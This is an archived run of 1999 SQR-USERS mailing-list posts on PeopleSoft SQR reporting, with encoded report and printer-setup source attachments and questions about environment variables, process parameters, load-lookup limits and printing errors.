ICAgICBMYXlvdXQ9TXlMYXlvdXQNCiAgICAgICAgDQpFbmQtRGVjbGFyZQ0KDQpl bmQtc2V0dXANCg0KDQohPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PQ0KYmVnaW4tcmVwb3J0DQohPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PQ0KDQogc2hvdyAnUmVwb3J0IEJlZ2luJw0KICBkbyBT dGRhcGktSW5pdCAgICAgICAgICAgICAgICAhIGluaXRpYWxpemUgYXBpIHRvIFBl b3BsZVNvZnQNCiAgIWRvIEdldC1SdW4tSUQgICAgICAgICAgICAgICAgISBUaGlz IGdldHMgdGhlIFJ1biBJRCBmcm9tIHRoZSBQYW5lbA0KICBkbyBJbml0LURhdGVU aW1lDQogIGRvIEluaXQtTnVtYmVyDQogIGRvIEdldC1DdXJyZW50LURhdGVUaW1l DQogIGRvIEluaXQtUmVwb3J0DQogIA0KICB1c2UtcHJpbnRlci10eXBlIEhQTEFT RVJKRVQgICAgICAgICAgICAgICAgDQogICEgRm9yIHRoZSBCb2R5IFBhcnQgRm9u dCBhbmQgU2l6ZQ0KICBhbHRlci1wcmludGVyDQogIGZvbnQgPTQNCiAgcG9pbnQt c2l6ZT03LjMNCiAgDQogIGRvIFJlcG9ydA0KICAhZG8gUmVzZXQgICAgICAgICAg ICAgICAgICAgICAgISBwcmludCAnRW5kIG9mIFJlcG9ydCcgKGFhbF9saWIuc3Fj KQ0KICBzaG93ICdSZXBvcnQgRG9uZScNCiAgZG8gU3RkYXBpLVRlcm0NCmVuZC1y ZXBvcnQNCg0KDQouLi4uLi4uLi4uLi4uLi4uLi4uDQoNCiE9PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpiZWdpbi1oZWFkaW5nIDEwDQoh PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQpncmFw aGljICgxLDEsMTI1KSBib3ggNyAgICAgICAhIFBvc2l0aW9uICgxLDEpIExhcmdl dXI9OTYgQ29sb25uZXMgSGF1dGV1ciA9NyBMaWduZXMgIA0KZ3JhcGhpYyAoMTAs MSwxMjUpIGhvcnotbGluZSAgISBQb3NpdGlvbiAoOCwxKSBMYXJnZXVyPTk2IENv bG9ubmVzIA0KDQphbHRlci1wcmludGVyDQpmb250PTQNCnBvaW50LXNpemU9Ni40 DQogcHJpbnQgJ0lEOiAnICgxLDIpDQogcHJpbnQgJFJlcG9ydElEICgpDQoNCi4u Li4uLi4uLi4uLi4NCg0KZW5kLWhlYWRpbmcNCg0KDQouLi4uLi4uLi4uLi4uDQoN CkRvIFByb2Nlc3MtTWFpbg0KDQouLi4uLi4uLi4uLi4uDQoNCg0KIT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCmJlZ2luLXByb2NlZHVy ZSBQcm9jZXNzLU1haW4NCiE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09DQoNCg0KLi4uLi4uLi4uLi4NCi4uLi4uLi4uLi4uLg0KLi4uLi4u Li4uLi4uDQoNCg0KIT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0NCiEgU1RBTkRBUkQgSU5DTFVERSBGSUxFUyBGT1IgUEVPUExFU09GVA0K IT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiNpbmNs dWRlICdzZXRlbnYuc3FjJyAgICAgICAgICAhU2V0IGVudmlyb25tZW50DQojaW5j bHVkZSAnYWFsX2dyYXBoaWNsMTc3LnNxYycNCiNJbmNsdWRlICdkYXRldGltZS5z cWMnICAgICAgICAhUm91dGluZXMgZm9yIGRhdGUgYW5kIHRpbWUgZm9ybWF0dGlu Zw0KI0luY2x1ZGUgJ2N1cmR0dGltLnNxYycgICAgICAgICFHZXQtQ3VycmVudC1E YXRlVGltZSBwcm9jZWR1cmUNCiNJbmNsdWRlICdudW1iZXIuc3FjJyAgICAgICAg ICAhUm91dGluZXMgdG8gZm9ybWF0IG51bWJlcnMNCiNJbmNsdWRlICdzdGRhcGku c3FjJyAgICAgICAgICAhVXBkYXRlIFByb2Nlc3MgQVBJDQojaW5jbHVkZSAnYWFs X2xpYi5zcWMnDQohI2luY2x1ZGUgJ2Fza2FvZC5zcWMnICAgICAgICAgIUFzay1B cy1PZi1kYXRlDQojaW5jbHVkZSAnZ2V0c2V0aWQuc3FjJyAgICAgICAgIUdldCBT ZXRpZA0KI2luY2x1ZGUgJ2hycm5jdGwxLnNxYycgICAgICAgICFTZWxlY3QtUGFy YW1ldGVycw0KDQohQUFMIEFkZCB0aGUgc3FjIEFBTFJFUFQNCiNJbmNsdWRlICdh YWxyZXB0LnNxYycgICAgICAgICAhUHJvY2VkdXJlIEFBTC1QcmludC1FbXB0eS1S ZXBvcnQNCg== --Boundary_(ID_U8M4p+0x04u+dna1Amh2FA) Content-type: APPLICATION/OCTET-STREAM; NAME=aal_graphicl177.sqc Content-disposition: ATTACHMENT; FILENAME=aal_graphicl177.sqc Content-transfer-encoding: BASE64 ISoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqDQohICBDaGtBZHZQcjogUHJpbnRlciBhbmQgUGFnZS1TaXplIEluaXRpYWxp emF0aW9uICoNCiEgICAgICAgICAgICBmb3IgcHJpbnRpbmcgdGhlIENoZWNrIGFu ZCBhZHZpY2UgICAgKg0KISoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqDQoNCmJlZ2luLXNldHVwDQojZGVmaW5lIFBSSU5U RVJfR1JBUEhJQ19IUCBIUExBU0VSSkVUDQohI2RlZmluZSBQUklOVEVSX0dSQVBI SUNfSFAgUE9TVFNDUklQVA0KDQojaW5jbHVkZSAnYWFscHRwc2wxNzcuc3FjJw0K ISNpbmNsdWRlICdzZXR1cGRiLnNxYycgICAgICAgICAgICAgICAhIERhdGFiYXNl IHNwZWNpZmljIHNldHVwDQoNCiFBQUwgSW1hZ2UgRGVmaW5pdGlvbg0KICBEZWNs YXJlLUltYWdlIEFsY2FuMQ0KICAgIFR5cGU9Qm1wLUZpbGUNCiAgICBJbWFnZS1T aXplID0gKDExLDQpDQogICAgU291cmNlPSdFOlxIUjc1MFxTUVJcQWxjYW4xLmJt cCcNCiAgRW5kLURlY2xhcmUNCg0KISAgI2lmbmRlZiBNVlMNCiAgZGVjbGFyZS1w cm9jZWR1cmUNCiAgICBiZWZvcmUtcmVwb3J0ID0gSW5pdC1QYWdlLVNpemUNCiAg ZW5kLWRlY2xhcmUNCiEgICNlbmRpZg0KDQplbmQtc2V0dXANCg0KISoqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqDQpiZWdpbi1wcm9jZWR1cmUgSW5pdC1QYWdlLVNpemUN CiEqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKg0KISBUaGlzIHNlbmRzIGEgJ1BlcmZv cmF0aW9uIFNraXAnIGNvbW1hbmQgdG8gZGlzYWJsZSBhbnkgYm90dG9tDQohIG1h cmdpbiBhbmQgb2J0YWluIHRoZSBtYXhpbXVtIFBDTCBwYWdlLiAgVGhpcyBpcyBy ZXF1aXJlZCB0bw0KISBwcmludCB0aGUgIk5PTi1ORUdPVElBQkxFIiBsaW5lIHJl YXNvbmFibHkgY2xvc2UgdG8gdGhlIGJvdHRvbQ0KISBvZiB0aGUgZm9ybS4NCg0K I2lmbmRlZiBNVlMNCiNpZm5kZWYgT1M0MDANCiAgZW5jb2RlICc8Mjc+JmwwTCcg aW50byAkcGVyZm9yYXRpb25fc2tpcA0KI2Vsc2UNCiAgZW5jb2RlICc8Mzk+Jmww TCcgaW50byAkcGVyZm9yYXRpb25fc2tpcA0KI2VuZGlmDQojZWxzZQ0KICBlbmNv ZGUgJzwzOT4mbDBMJyBpbnRvICRwZXJmb3JhdGlvbl9za2lwDQojZW5kaWYNCg0K ICBwcmludCAkcGVyZm9yYXRpb25fc2tpcCAoKSBjb2RlLXByaW50ZXI9e1BSSU5U RVJfR1JBUEhJQ19IUH0NCg0KZW5kLXByb2NlZHVyZQ0KDQohKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioNCmJlZ2luLXByb2NlZHVyZSBBbHRlci1QcmludGVyLVN0YXRl bWVudA0KISoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoNCiAgYWx0ZXItcHJpbnRl cg0KICAgIHBvaW50LXNpemU9Nw0KDQogIGRvIEFsdGVyLVByaW50ZXItQ29tbQ0K DQplbmQtcHJvY2VkdXJlDQoNCg0KISoqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpi ZWdpbi1wcm9jZWR1cmUgQWx0ZXItUHJpbnRlci1DaHFBZHYNCiEqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKg0KDQogIGFsdGVyLXByaW50ZXINCiAgICBwb2ludC1zaXpl PTkNCg0KICBkbyBBbHRlci1QcmludGVyLUNvbW0NCg0KZW5kLXByb2NlZHVyZQ0K DQoNCiEqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KYmVnaW4tcHJvY2VkdXJlIEFs dGVyLVByaW50ZXItQ29tbQ0KISoqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoNCiAg YWx0ZXItcHJpbnRlcg0KICAgIHN5bWJvbC1zZXQ9MTlVDQogICAgZm9udD01DQog ICAgcGl0Y2g9MTYuNg0KDQplbmQtcHJvY2VkdXJlDQoNCg0KISoqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqDQpiZWdpbi1wcm9jZWR1cmUgQWx0ZXItUHJpbnRlci1NaWNy b2NvZGUNCiEqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KDQogIGFsdGVyLXByaW50 ZXINCiAgICBwb2ludC1zaXplPTguNA0KICAgIHN5bWJvbC1zZXQ9MFENCiAgICBm b250PTYyMA0KICAgIGZvbnQtdHlwZT1maXhlZA0KICAgIHBpdGNoPTEwDQoNCmVu ZC1wcm9jZWR1cmUNCg0KDQohKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCmJlZ2lu LXByb2NlZHVyZSBBbHRlci1QcmludGVyLU5vbi1OZWdvdGlhYmxlDQohKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioNCg0KICBhbHRlci1wcmludGVyDQogICAgcG9pbnQt c2l6ZT0xOA0KDQplbmQtcHJvY2VkdXJlDQoNCg0K --Boundary_(ID_U8M4p+0x04u+dna1Amh2FA)-- From owner-sqr-users@list.iex.net Wed Oct 6 12:17:03 1999 Date: Wed, 6 Oct 1999 13:07:05 -0400 From: Vivek Pandian Subject: Re: Running Sqr and using sqr parameters in process definition use the ask command to get the value At 11:39 AM 10/6/99 , you wrote: >I can run an a sqr in the process sceduler no problems. When I set up the process >defintion I >see a sqr parameter option there. The documentation says you can set up a param for >any field in >your current panel group. >I have a record in the panel group called pay_cntrl and a field called asofdate. >So in the sqr parameter i did this >append :pay_cntrl..asofdate > >How do I use this in my sqr ? > From owner-sqr-users@list.iex.net Wed Oct 6 12:48:47 1999 Date: Wed, 6 Oct 1999 13:40:12 -0400 From: "Ryan, Joseph A." Subject: Is it possible to access UNIX environment variables from an SQR p rogram? Hello, Is it possible to access UNIX environment variables from an SQR program? If so, how might this be done? I am looking to access things like PATH, SHELL, and any other user-defined environment variable. thank you! From owner-sqr-users@list.iex.net Wed Oct 6 13:01:32 1999 Date: Wed, 6 Oct 1999 10:46:27 -0700 From: Reinier de Ruiter Subject: Re: Is it possible to access UNIX environment variables from an S QR p rogram? use getenv like: $var = getenv('SHELL') Reinier de Ruiter Programmer/Analyst Apollo Group, University of Phoenix Phoenix, Arizona tel:480-557-1158 email: reinier.deruiter@apollogrp.edu -----Original Message----- From: Ryan, Joseph A. [mailto:jryan@JHANCOCK.COM] Sent: Wednesday, October 06, 1999 10:40 AM To: Multiple recipients of list SQR-USERS Subject: Is it possible to access UNIX environment variables from an SQR p rogram? Hello, Is it possible to access UNIX environment variables from an SQR program? If so, how might this be done? I am looking to access things like PATH, SHELL, and any other user-defined environment variable. thank you! From owner-sqr-users@list.iex.net Wed Oct 6 13:06:13 1999 Date: Wed, 6 Oct 1999 12:58:51 -0500 From: Ray Ontko Subject: Re: Is it possible to access UNIX environment variables from an SQR p rogram? Try this: let $path = getenv( 'PATH' ) Ray > Hello, > > Is it possible to access UNIX environment variables from an SQR > program? If so, how might this be done? I am looking to access things like > PATH, SHELL, and any other user-defined environment variable. > > thank you! > ---------------------------------------------------------------------- Ray Ontko | Ray Ontko & Co | Software Consulting Services rayo@ontko.com | Richmond, In | http://www.ontko.com/ From owner-sqr-users@list.iex.net Wed Oct 6 16:06:33 1999 Date: Wed, 6 Oct 1999 16:58:15 -0400 From: Vanrathana Thang Subject: Problem when sent output to the printer. --Boundary_(ID_Pt3Uty1F6nghlTvMNn4pzw) Content-type: TEXT/PLAIN Content-transfer-encoding: 7BIT Ops sorry, ...just noticed that the clipboard picture didnt appears in my previous post. By the way, my question reformulate is i got The message when i sent the output to the printer: (SQR 6003) Unexpected End-Of-File while processing the printer file. but when sent it to a file and print it after with dos command, it's okie. Can anyone tell me what is wrong? Thanks again Van --Boundary_(ID_Pt3Uty1F6nghlTvMNn4pzw)-- From owner-sqr-users@list.iex.net Wed Oct 6 16:42:18 1999 Date: Wed, 6 Oct 1999 17:32:05 -0400 From: Sam Spritzer Subject: Re: Problem when sent output to the printer. Apparently, the file is corrupted. Have you re-tried running the SQR to see if that happens again? SQRly yours, Sam <<< Vanrathana Thang 10/ 6 4:58p >>> Ops sorry, ...just noticed that the clipboard picture didnt appears in my previous post. By the way, my question reformulate is i got The message when i sent the output to the printer: (SQR 6003) Unexpected End-Of-File while processing the printer file. but when sent it to a file and print it after with dos command, it's okie. Can anyone tell me what is wrong? Thanks again Van From owner-sqr-users@list.iex.net Wed Oct 6 17:16:27 1999 Date: Wed, 6 Oct 1999 18:06:14 EDT From: Victoria Lo Subject: Declare-Report/Declare-Printer Hello Everyone; I have declare-report and declare-printer in SQR to handle multiple reports and different fonts. When I use the Process Scheduler and print it to the file, then copy the print file to the printer, it printed perfectly. However, if I use the Process Scheduler and print it to the printer directly, all it printed is the printer characters, not the report itself. Could anyone tell me what did I miss? Thank you! Vicki From owner-sqr-users@list.iex.net Wed Oct 6 18:02:20 1999 Date: Wed, 6 Oct 1999 15:51:18 -0700 From: Albert Howard Subject: Re: Problem when sent output to the printer. Are you by chance using PeopleSoft HR version 7.0x? I recall encountering this with that version and it turned out to be one of the print setup related SQC's causing it. Unfortunately its been awhile and I'm using 7.5 now, so I do not remember which SQC caused the problem. Perhaps someone else on the list will recall it with this info added on :). Our temporary solution was to load the older SQC. At 04:58 PM 10/6/99 -0400, you wrote: >Ops sorry, ...just noticed that the clipboard picture didnt appears in my >previous post. By the >way, my question reformulate is i got The message when i sent the output to the >printer: > > (SQR 6003) Unexpected End-Of-File while processing the >printer file. > >but when sent it to a file and print it after with dos command, it's okie. Can >anyone tell me >what is wrong? > >Thanks again >Van > > > > > > From owner-sqr-users@list.iex.net Wed Oct 6 18:15:12 1999 Date: Wed, 6 Oct 1999 19:05:04 EDT From: Victoria Lo Subject: Re: Problem when sent output to the printer. Thank you for your applying my question. We are using HR 7.5. You have to use the old SQC? Is it setupdb or something else? Please try to remember! Thanks! Vicki From owner-sqr-users@list.iex.net Wed Oct 6 18:59:27 1999 Date: Wed, 6 Oct 1999 16:48:13 -0700 From: Albert Howard Subject: Re: Problem when sent output to the printer. Seems as though it was happening with the reports that used DECLARE-PRINTER as opposed to the older style setup methods. Look and see if the programs causing it are those using SETUP31.SQC or SETUP32.SQC instead of SETUP01.SQC and SETUP02.SQC. Could also be SETLYOUT.SQC. Sorry thats the best I can remember. Symptom was the same...report went fine if we wrote to a file then copied it to a printer, but would give the Unexpected end when going direct to printer. Something strange in one of the DECLARE-PRINTER or related commands. ]At 07:05 PM 10/6/99 -0400, you wrote: >Thank you for your applying my question. >We are using HR 7.5. You have to use the old SQC? Is it setupdb or something >else? Please try to remember! Thanks! > >Vicki From owner-sqr-users@list.iex.net Wed Oct 6 19:50:17 1999 Date: Thu, 7 Oct 1999 08:39:58 +0800 From: Arthur Coniglio Subject: Re: Running Sqr and using sqr parameters in process definition Dominick, We use the Input Command which we have placed within the Init-Report section eg. we have one sqr which accepts 5 variables from the process defintion input $HDR_UNION input $HDR_DEPTID input $HDR_TERM input $HDR_YEAR input $ABSENCE_TYPE the process definition setup is as follows: append :vac_book_wa.union_cd :vac_book_wa.deptid :vac_book_wa.break_term_wa :vac_book_wa.year_relate_wa :vac_book_wa.absence_type Couple things to note: - our SQR is defined as an Sqr Process rather than Sqr Report due to the fact we use PeopleCode to fire of the sqr. - the length of the append text is limited to the length of the dos command which eludes me at this moment, something like 251 chars.... Hope this helps. Regards Arthur C. -----Original Message----- From: Dominick LoGiudice [mailto:dlogiudice@PINE.VPCC.SUNYSB.EDU] Sent: Wednesday, October 06, 1999 11:40 PM To: Multiple recipients of list SQR-USERS Subject: Running Sqr and using sqr parameters in process definition I can run an a sqr in the process sceduler no problems. When I set up the process defintion I see a sqr parameter option there. The documentation says you can set up a param for any field in your current panel group. I have a record in the panel group called pay_cntrl and a field called asofdate. So in the sqr parameter i did this append :pay_cntrl..asofdate How do I use this in my sqr ? From owner-sqr-users@list.iex.net Thu Oct 7 07:49:07 1999 Date: Thu, 7 Oct 1999 08:40:54 -0400 From: "Ryan, Joseph A." Subject: Is it possible in the Setup section, doing a load-lookup, to use an environment variable? Please, is it possible to use the getenv() function to get an environment variable for use in the Setup section during a load-lookup? I have tried many code variations without success. In the following code, I'm trying top make the "table=" statement in the load-lookup get the db name from an environment variable: Begin-Setup Declare-Layout Default Orientation = Portrait ! Paper-Size = (8.5,10) Top-Margin = 0.50 Bottom-Margin = 0.50 Left-Margin = 0.20 Right-Margin = 0.20 End-Declare load-lookup name=ItemStatus !* Problem Status table=arcd_n20..tcodedecode <--------- !!!!!!!!!!!!!!! I want to use an env. variable here! key=i_cd return_value=decode where='cat=354 and actv_ind=''Y''' I have tried using the getenv function right in that line, and also assigning a variable first. Please, if I were to assign a variable where would it go and what would it look like? Thank you to all who responded to my question yesterday regarding the environment variables! thank you From owner-sqr-users@list.iex.net Thu Oct 7 08:01:49 1999 Date: Thu, 7 Oct 1999 08:56:04 -0400 From: John Milardovic Subject: Re: Is it possible in the Setup section, doing a load-lookup, to use an environment variable? > -----Original Message----- > From: Ryan, Joseph A. [SMTP:jryan@JHANCOCK.COM] > Sent: Thursday, October 07, 1999 8:41 AM > To: Multiple recipients of list SQR-USERS > Subject: Is it possible in the Setup section, doing a load-lookup, to > use an environment variable? > > Please, is it possible to use the getenv() function to get an environment > variable for use in the Setup section during a load-lookup? I have tried > many code variations without success. In the following code, I'm trying > top > make the "table=" statement in the load-lookup get the db name from an > environment variable: > > > Begin-Setup > Declare-Layout Default > Orientation = Portrait > ! Paper-Size = (8.5,10) > Top-Margin = 0.50 > Bottom-Margin = 0.50 > Left-Margin = 0.20 > Right-Margin = 0.20 > End-Declare > > load-lookup > name=ItemStatus !* Problem Status > table=arcd_n20..tcodedecode <--------- !!!!!!!!!!!!!!! I want to > use an env. variable here! > key=i_cd > return_value=decode > where='cat=354 and actv_ind=''Y''' > > I have tried using the getenv function right in that line, and also > assigning a variable first. Please, if I were to assign a variable where > would it go and what would it look like? > > Thank you to all who responded to my question yesterday regarding the > environment variables! > > thank you From owner-sqr-users@list.iex.net Thu Oct 7 08:13:36 1999 Date: Thu, 7 Oct 1999 09:02:05 -0400 From: John Milardovic Subject: Re: Is it possible in the Setup section, doing a load-lookup, to use an environment variable? Sorry for the blank message. Why don't you define the load-lookup and table name in the body of the report? You shouldn't have a problem then. HTH John Milardovic > -----Original Message----- > From: Ryan, Joseph A. [SMTP:jryan@JHANCOCK.COM] > Sent: Thursday, October 07, 1999 8:41 AM > To: Multiple recipients of list SQR-USERS > Subject: Is it possible in the Setup section, doing a load-lookup, to > use an environment variable? > > Please, is it possible to use the getenv() function to get an environment > variable for use in the Setup section during a load-lookup? I have tried > many code variations without success. In the following code, I'm trying > top > make the "table=" statement in the load-lookup get the db name from an > environment variable: > > > Begin-Setup > Declare-Layout Default > Orientation = Portrait > ! Paper-Size = (8.5,10) > Top-Margin = 0.50 > Bottom-Margin = 0.50 > Left-Margin = 0.20 > Right-Margin = 0.20 > End-Declare > > load-lookup > name=ItemStatus !* Problem Status > table=arcd_n20..tcodedecode <--------- !!!!!!!!!!!!!!! I want to > use an env. variable here! > key=i_cd > return_value=decode > where='cat=354 and actv_ind=''Y''' > > I have tried using the getenv function right in that line, and also > assigning a variable first. Please, if I were to assign a variable where > would it go and what would it look like? > > Thank you to all who responded to my question yesterday regarding the > environment variables! > > thank you From owner-sqr-users@list.iex.net Thu Oct 7 08:22:32 1999 Date: Thu, 7 Oct 1999 09:30:18 -0400 From: "Johnson, Dan" Subject: Re: Is it possible in the Setup section, doing a load-lookup, to use an environment variable? Hello Joseph, Have you tried passing the db name on the command line using ask? When you say db name do you want to know what database you are running or what schema you are using? If you want to know the database that your SQL statements were compiled for you can use the SQR variable $sqr-database. Hope this helps, Dan Please, is it possible to use the getenv() function to get an environment variable for use in the Setup section during a load-lookup? I have tried many code variations without success. In the following code, I'm trying top make the "table=" statement in the load-lookup get the db name from an environment variable: Begin-Setup Declare-Layout Default Orientation = Portrait ! Paper-Size = (8.5,10) Top-Margin = 0.50 Bottom-Margin = 0.50 Left-Margin = 0.20 Right-Margin = 0.20 End-Declare load-lookup name=ItemStatus !* Problem Status table=arcd_n20..tcodedecode <--------- !!!!!!!!!!!!!!! I want to use an env. variable here! key=i_cd return_value=decode where='cat=354 and actv_ind=''Y''' I have tried using the getenv function right in that line, and also assigning a variable first. Please, if I were to assign a variable where would it go and what would it look like? Thank you to all who responded to my question yesterday regarding the environment variables! thank you From owner-sqr-users@list.iex.net Thu Oct 7 11:41:53 1999 Date: Thu, 7 Oct 1999 09:25:09 -0500 From: DaveL Smith Subject: Re: Accessing multiple databases --0__=3mwnOHcWI7IVsuoQtqmZswGIMcGS9fKue8xyLXX8nXMR7FFBp52lqi8a Content-type: text/plain; charset=us-ascii Content-Disposition: inline Jeffrey, I am doing a transfer from SQL Server 6.5 to SQL Server 7, its possible as long as the machine you are running on has connectivity through ODBC to all of the platforms. What I do is specify the DSN connectivity on my BEGIN-SELECT statements. I select from one interface table into variables, then call a procedure that connects to the other database and inserts the variables into the interface table of the target. David L. Smith IBM Global Services "Jeffrey K. Bedell" on 10/07/99 10:34:13 AM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: Subject: Accessing multiple databases Greetings fellow SQR users - I have been monitoring this list serv for many months now and have picked up many useful tidbits of information but never found the need to make use of it. Until now. We are a university and therefore have multiple platforms and environments scattered all over the place. To transfer information between systems we generally run an SQR that extracts the data from one database, FTP the file over to another server and then run another SQR which updates the second database. What I was wondering is, is it possible to access two separate database in the same SQR? That is, can I read from one database (SYBASE) and insert into a second database (ORACLE) within the same SQR? Anybody ever done this or even know if it is possible? Thanks for any input you can offer. - Jeff Bedell - Syracuse University --0__=3mwnOHcWI7IVsuoQtqmZswGIMcGS9fKue8xyLXX8nXMR7FFBp52lqi8a Content-type: application/octet-stream; name="jkbedell.vcf" Content-Disposition: attachment; filename="jkbedell.vcf" Content-transfer-encoding: base64 YmVnaW46dmNhcmQNCm46QmVkZWxsO0plZmZyZXkgSy4NCnRlbDtmYXg6KDMxNSkgNDQzLTM1NTMN CnRlbDt3b3JrOigzMTUpIDQ0My05MjczDQp4LW1vemlsbGEtaHRtbDpGQUxTRQ0KYWRyOjs7Ozs7 Ow0KdmVyc2lvbjoyLjENCmVtYWlsO2ludGVybmV0OmprYmVkZWxsQGFpcy5zeXIuZWR1DQp4LW1v emlsbGEtY3B0OjszMTg1Ng0KZm46SmVmZnJleSBLLiBCZWRlbGwNCmVuZDp2Y2FyZA0KDQo= --0__=3mwnOHcWI7IVsuoQtqmZswGIMcGS9fKue8xyLXX8nXMR7FFBp52lqi8a-- From owner-sqr-users@list.iex.net Thu Oct 7 10:18:01 1999 Date: Thu, 7 Oct 1999 11:01:36 -0400 From: "Bencke, Gina" Subject: Re: Is it possible in the Setup section, doing a load-lookup, to use an environment variable? Joseph, The commands allowed in the begin-setup section of the report are limited to: ASk BEGIN-SQL CREATE-ARRAY DECLARE-(LAYOUT, PRINTER, etc) LOAD-LOOKUP USE The reason for this is that the setup-section is preprocessed as opposed to executed. This is why using a run-time variable (&column, $text, or #num) will not work. You can however use an ASK command to define a substitution and then reference it. ask LOOKUP_TABLE_NAME 'Enter the name of the lookup table (e.g. arcd_n20..tcodedecode)' load-lookup name=ItemStatus !* Problem Status table={LOOKUP_TABLE_NAME} key=i_cd return_value=decode where='cat=354 and actv_ind=''Y''' Even if you move the LOAD-LOOKUP command in the body of your report (begin-program or begin-procedure), you will not be able to use a run-time variable for the table name in the load-lookup command because the command only allows variables for the EXTENT and WHERE arguments. LOAD-LOOKUP { NAME= lookup_table_name } { TABLE= database_table_name } { KEY= key_column_name } { RETURN_VALUE= return_column_name } [ ROWS= initial_row_estimate_var | _col | _lit ] [ EXTENT= size_to_grow_by_var | _col | _lit ] [ WHERE= where_clause_txt_var | _col | _lit ] [ SORT= sort_mode ] [ CURSOR = cursor_int ] [ QUIET ] Gina Bencke Bencke Consulting Corporation gina@bencke.com -----Original Message----- From: John Milardovic [mailto:milardj@SX.COM] Sent: Thursday, October 07, 1999 8:56 AM To: Multiple recipients of list SQR-USERS Subject: Re: Is it possible in the Setup section, doing a load-lookup, to use an environment variable? > -----Original Message----- > From: Ryan, Joseph A. [SMTP:jryan@JHANCOCK.COM] > Sent: Thursday, October 07, 1999 8:41 AM > To: Multiple recipients of list SQR-USERS > Subject: Is it possible in the Setup section, doing a load-lookup, to > use an environment variable? > > Please, is it possible to use the getenv() function to get an environment > variable for use in the Setup section during a load-lookup? I have tried > many code variations without success. In the following code, I'm trying > top > make the "table=" statement in the load-lookup get the db name from an > environment variable: > > > Begin-Setup > Declare-Layout Default > Orientation = Portrait > ! Paper-Size = (8.5,10) > Top-Margin = 0.50 > Bottom-Margin = 0.50 > Left-Margin = 0.20 > Right-Margin = 0.20 > End-Declare > > load-lookup > name=ItemStatus !* Problem Status > table=arcd_n20..tcodedecode <--------- !!!!!!!!!!!!!!! I want to > use an env. variable here! > key=i_cd > return_value=decode > where='cat=354 and actv_ind=''Y''' > > I have tried using the getenv function right in that line, and also > assigning a variable first. Please, if I were to assign a variable where > would it go and what would it look like? > > Thank you to all who responded to my question yesterday regarding the > environment variables! > > thank you From owner-sqr-users@list.iex.net Thu Oct 7 10:43:33 1999 Date: Thu, 7 Oct 1999 11:34:13 -0400 From: "Jeffrey K. Bedell" Subject: Accessing multiple databases This is a multi-part message in MIME format. --------------ABAD6EB1C8730C0869E77B43 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Greetings fellow SQR users - I have been monitoring this list serv for many months now and have picked up many useful tidbits of information but never found the need to make use of it. Until now. We are a university and therefore have multiple platforms and environments scattered all over the place. To transfer information between systems we generally run an SQR that extracts the data from one database, FTP the file over to another server and then run another SQR which updates the second database. What I was wondering is, is it possible to access two separate database in the same SQR? That is, can I read from one database (SYBASE) and insert into a second database (ORACLE) within the same SQR? Anybody ever done this or even know if it is possible? Thanks for any input you can offer. - Jeff Bedell - Syracuse University --------------ABAD6EB1C8730C0869E77B43 Content-Type: text/x-vcard; charset=us-ascii; name="jkbedell.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Jeffrey K. Bedell Content-Disposition: attachment; filename="jkbedell.vcf" begin:vcard n:Bedell;Jeffrey K. tel;fax:(315) 443-3553 tel;work:(315) 443-9273 x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:jkbedell@ais.syr.edu x-mozilla-cpt:;31856 fn:Jeffrey K. Bedell end:vcard 